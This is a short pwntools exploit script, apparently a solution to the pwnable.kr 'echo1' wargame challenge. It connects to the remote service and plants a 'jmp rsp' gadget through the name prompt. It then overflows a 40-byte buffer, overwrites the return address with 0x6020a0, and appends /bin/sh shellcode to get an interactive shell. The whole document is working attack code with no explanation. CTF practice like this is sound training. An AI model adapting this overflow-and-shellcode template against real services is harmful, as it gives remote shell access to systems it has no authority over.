

```
from pwn import *
context(os='linux',arch='amd64')
#io = process('./echo1')
io = remote('pwnable.kr',9010)
shellcode = asm(shellcraft.sh())
jmp_rsp = asm('jmp rsp')
addr = 0x6020a0
print(type(jmp_rsp))
io.recvuntil("hey, what's your name? :")
io.sendline(jmp_rsp)

io.recvuntil("> ")
io.sendline(str(1))
payload='a'*32+'b'*8+p64(addr)+shellcode
#gdb.attach(io)
io.sendline(payload)
#io.recvuntil()

io.interactive()
```